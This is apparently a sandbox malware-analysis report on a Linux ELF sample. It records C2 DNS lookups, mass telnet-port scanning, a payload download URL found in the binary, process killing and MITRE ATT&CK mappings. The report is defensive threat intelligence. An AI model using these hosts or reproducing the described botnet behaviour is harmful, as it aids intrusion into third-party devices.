Dec 2, 2023 10:40:34.169975996 CET	192.168.2.23	8.8.8.8	0xb0d2	Standard query (0)	cnc.chromies.cf	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 2, 2023 10:40:34.268347025 CET	8.8.8.8	192.168.2.23	0xb0d2	No error (0)	cnc.chromies.cf		5.181.156.131	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: dash PID: 6232, Parent PID: 4331

General

Start time (UTC):	09:40:26
Start date (UTC):	02/12/2023
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:40:26
Start date (UTC):	02/12/2023
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.o6Plogs1yr /tmp/tmp.qA58EAPoKE /tmp/tmp.KPTn6A0K4J
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	09:40:33
Start date (UTC):	02/12/2023
Path:	/tmp/gJxUBR0ghC.elf
Arguments:	/tmp/gJxUBR0ghC.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	09:40:33
Start date (UTC):	02/12/2023
Path:	/tmp/gJxUBR0ghC.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	09:40:33
Start date (UTC):	02/12/2023
Path:	/tmp/gJxUBR0ghC.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	09:40:33
Start date (UTC):	02/12/2023
Path:	/tmp/gJxUBR0ghC.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Start time (UTC):	09:40:33
Start date (UTC):	02/12/2023
Path:	/tmp/gJxUBR0ghC.elf
Arguments:	-
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Analysis Process: xfce4-panel PID: 6256, Parent PID: 2063

General

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libsystray.so 6 12582920 systray "Notification Area" "Area where notification icons appear"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libstatusnotifier.so 7 12582921 statusnotifier "Status Notifier Plugin" "Provides a panel area for status notifier items (application indicators)"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libpulseaudio-plugin.so 8 12582922 pulseaudio "PulseAudio Plugin" "Adjust the audio volume of the PulseAudio sound system"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libxfce4powermanager.so 9 12582923 power-manager-plugin "Power Manager Plugin" "Display the battery levels of your devices and control the brightness of your display"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libnotification-plugin.so 10 12582924 notification-plugin "Notification Plugin" "Notification plugin for the Xfce panel"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/bin/xfce4-panel
Arguments:	-
File size:	375768 bytes
MD5 hash:	a15b657c7d54ac1385f1f15004ea6784

Start time (UTC):	09:40:39
Start date (UTC):	02/12/2023
Path:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0
Arguments:	/usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 /usr/lib/x86_64-linux-gnu/xfce4/panel/plugins/libactions.so 14 12582925 actions "Action Buttons" "Log out, lock or other system actions"
File size:	35136 bytes
MD5 hash:	ac0b8a906f359a8ae102244738682e76

Source: gJxUBR0ghC.elf	ReversingLabs: Detection: 54%
Source: gJxUBR0ghC.elf	Virustotal: Detection: 53%			Perma Link

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 165.203.59.38:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 110.173.66.44:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 159.233.26.216:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 68.41.123.159:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 165.21.73.54:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 218.151.161.203:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 81.108.243.144:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 190.173.151.212:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 8.181.199.100:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 148.147.38.234:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 78.113.170.132:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 108.211.20.70:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 62.152.235.55:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 115.47.59.9:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 146.125.164.149:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 113.81.35.152:2323
Source: global traffic	TCP traffic: 192.168.2.23:39222 -> 5.181.156.131:2609
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 187.72.75.7:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 206.189.246.99:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 161.208.113.46:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 119.93.251.115:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 186.171.235.95:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 113.38.138.60:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 168.25.147.220:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 210.0.142.218:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 73.212.105.119:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 205.180.168.102:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 105.87.48.186:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 202.21.16.237:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 117.27.171.196:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 141.132.250.138:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 117.40.109.157:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 122.93.244.79:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 184.145.157.203:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 171.207.90.186:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 31.121.11.192:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 27.96.219.130:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 211.202.54.115:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 123.189.207.247:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 82.4.115.108:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 198.88.185.211:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 223.137.143.204:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 176.100.4.187:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 202.63.228.171:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 207.116.191.26:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 59.228.68.173:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 154.158.255.17:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 93.200.198.135:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 104.244.184.151:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 145.123.217.222:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 135.180.212.144:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 179.232.156.190:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 118.197.207.122:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 157.222.197.12:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 110.20.71.144:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 184.65.71.211:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 182.213.43.225:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 119.255.200.234:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 189.199.51.10:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 117.75.39.163:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 148.189.205.228:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 92.98.134.135:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 188.17.178.132:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 77.187.59.174:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 102.95.122.41:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 154.251.22.16:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 68.100.117.43:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 34.232.251.197:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 198.116.95.129:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 77.158.66.254:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 109.47.5.76:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 164.110.68.53:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 43.26.221.105:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 124.226.17.156:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 53.107.111.50:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 1.208.186.85:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 37.31.150.26:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 103.85.139.164:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 118.85.221.5:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 99.52.2.222:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 85.218.244.56:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 217.214.76.212:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 156.225.219.213:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 183.172.172.25:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 108.237.131.240:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 181.151.212.212:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 27.136.119.190:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 188.81.53.106:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 5.101.194.148:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 110.191.105.75:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 24.64.40.48:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 125.119.37.4:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 80.99.252.153:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 1.240.39.255:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 179.54.5.43:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 58.140.146.204:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 120.54.0.153:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 17.230.167.106:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 37.246.133.17:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 47.5.85.73:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 96.163.67.129:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 97.122.162.160:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 122.111.67.131:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 149.74.18.35:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 189.25.88.197:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 111.107.37.212:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 23.91.153.107:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 18.121.191.147:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 78.6.152.54:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 118.161.157.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 2.108.200.64:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 72.144.193.24:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 210.139.162.117:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 177.73.217.15:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 86.173.18.42:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 80.40.122.198:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 210.220.7.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 96.254.97.235:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 211.47.135.10:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 221.211.177.12:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 134.251.91.132:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 71.154.129.37:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 167.234.76.5:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 95.55.215.53:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 65.83.224.161:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 174.110.222.62:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 20.237.46.49:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 121.219.154.51:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 199.32.242.141:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 44.111.81.163:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 5.20.140.77:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 198.127.190.204:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 168.123.135.93:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 130.196.90.228:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 18.131.21.145:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 88.111.124.116:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 98.45.121.84:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 91.127.87.93:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 13.31.100.69:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 46.118.172.41:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 13.44.198.176:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 216.236.196.217:2323
Source: global traffic	TCP traffic: 192.168.2.23:50668 -> 133.129.157.205:2323

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 165.203.59.38
Source: unknown	TCP traffic detected without corresponding DNS query: 146.125.9.38
Source: unknown	TCP traffic detected without corresponding DNS query: 218.64.26.202
Source: unknown	TCP traffic detected without corresponding DNS query: 136.176.150.37
Source: unknown	TCP traffic detected without corresponding DNS query: 60.7.28.41
Source: unknown	TCP traffic detected without corresponding DNS query: 4.114.178.4
Source: unknown	TCP traffic detected without corresponding DNS query: 126.144.16.76
Source: unknown	TCP traffic detected without corresponding DNS query: 113.161.251.111
Source: unknown	TCP traffic detected without corresponding DNS query: 31.249.217.56
Source: unknown	TCP traffic detected without corresponding DNS query: 219.198.25.231
Source: unknown	TCP traffic detected without corresponding DNS query: 98.4.125.59
Source: unknown	TCP traffic detected without corresponding DNS query: 152.11.21.192
Source: unknown	TCP traffic detected without corresponding DNS query: 98.70.172.164
Source: unknown	TCP traffic detected without corresponding DNS query: 193.88.59.156
Source: unknown	TCP traffic detected without corresponding DNS query: 211.159.75.93
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.147.93
Source: unknown	TCP traffic detected without corresponding DNS query: 38.114.208.45
Source: unknown	TCP traffic detected without corresponding DNS query: 91.235.114.198
Source: unknown	TCP traffic detected without corresponding DNS query: 126.20.48.14
Source: unknown	TCP traffic detected without corresponding DNS query: 159.233.26.216
Source: unknown	TCP traffic detected without corresponding DNS query: 193.254.119.28
Source: unknown	TCP traffic detected without corresponding DNS query: 12.105.7.213
Source: unknown	TCP traffic detected without corresponding DNS query: 80.208.20.158
Source: unknown	TCP traffic detected without corresponding DNS query: 163.71.157.199
Source: unknown	TCP traffic detected without corresponding DNS query: 157.215.73.46
Source: unknown	TCP traffic detected without corresponding DNS query: 198.136.202.108
Source: unknown	TCP traffic detected without corresponding DNS query: 18.121.112.142
Source: unknown	TCP traffic detected without corresponding DNS query: 68.41.123.159
Source: unknown	TCP traffic detected without corresponding DNS query: 88.239.75.115
Source: unknown	TCP traffic detected without corresponding DNS query: 91.109.103.105
Source: unknown	TCP traffic detected without corresponding DNS query: 202.227.165.150
Source: unknown	TCP traffic detected without corresponding DNS query: 34.63.251.198
Source: unknown	TCP traffic detected without corresponding DNS query: 196.87.127.136
Source: unknown	TCP traffic detected without corresponding DNS query: 126.70.132.206
Source: unknown	TCP traffic detected without corresponding DNS query: 128.4.209.102
Source: unknown	TCP traffic detected without corresponding DNS query: 2.140.202.82
Source: unknown	TCP traffic detected without corresponding DNS query: 122.76.209.96
Source: unknown	TCP traffic detected without corresponding DNS query: 23.209.230.201
Source: unknown	TCP traffic detected without corresponding DNS query: 158.31.97.7
Source: unknown	TCP traffic detected without corresponding DNS query: 165.21.73.54
Source: unknown	TCP traffic detected without corresponding DNS query: 18.188.180.106
Source: unknown	TCP traffic detected without corresponding DNS query: 203.80.108.65
Source: unknown	TCP traffic detected without corresponding DNS query: 84.239.103.246
Source: unknown	TCP traffic detected without corresponding DNS query: 148.146.141.94
Source: unknown	TCP traffic detected without corresponding DNS query: 113.168.31.20
Source: unknown	TCP traffic detected without corresponding DNS query: 123.120.71.33
Source: unknown	TCP traffic detected without corresponding DNS query: 121.237.233.38
Source: unknown	TCP traffic detected without corresponding DNS query: 48.107.196.23
Source: unknown	TCP traffic detected without corresponding DNS query: 81.122.69.117

Source: gJxUBR0ghC.elf	String found in binary or memory: http://scan.chromies.cf/9x83HE5AFD/arm7.jade
Source: gJxUBR0ghC.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: gJxUBR0ghC.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2018, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2077, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2078, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2079, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2080, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2083, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2084, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2156, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 2226, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 6251, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 6256, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 6257, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 6258, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 6259, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 6260, result: successful	Jump to behavior
Source: /tmp/gJxUBR0ghC.elf (PID: 6248)	SIGKILL sent: pid: 6261, result: successful	Jump to behavior

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.
Tactics:	Impact
Data Sources:	Command: Command Execution, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Termination, Service: Service Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report gJxUBR0ghC.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: dash PID: 6232, Parent PID: 4331

General

Chronological Activities

Analysis Process: rm PID: 6232, Parent PID: 4331

General

Chronological Activities

Analysis Process: gJxUBR0ghC.elf PID: 6241, Parent PID: 6165

General

Chronological Activities

Analysis Process: gJxUBR0ghC.elf PID: 6245, Parent PID: 6241

General

Chronological Activities

Analysis Process: gJxUBR0ghC.elf PID: 6247, Parent PID: 6245

Linux Analysis Report
gJxUBR0ghC.elf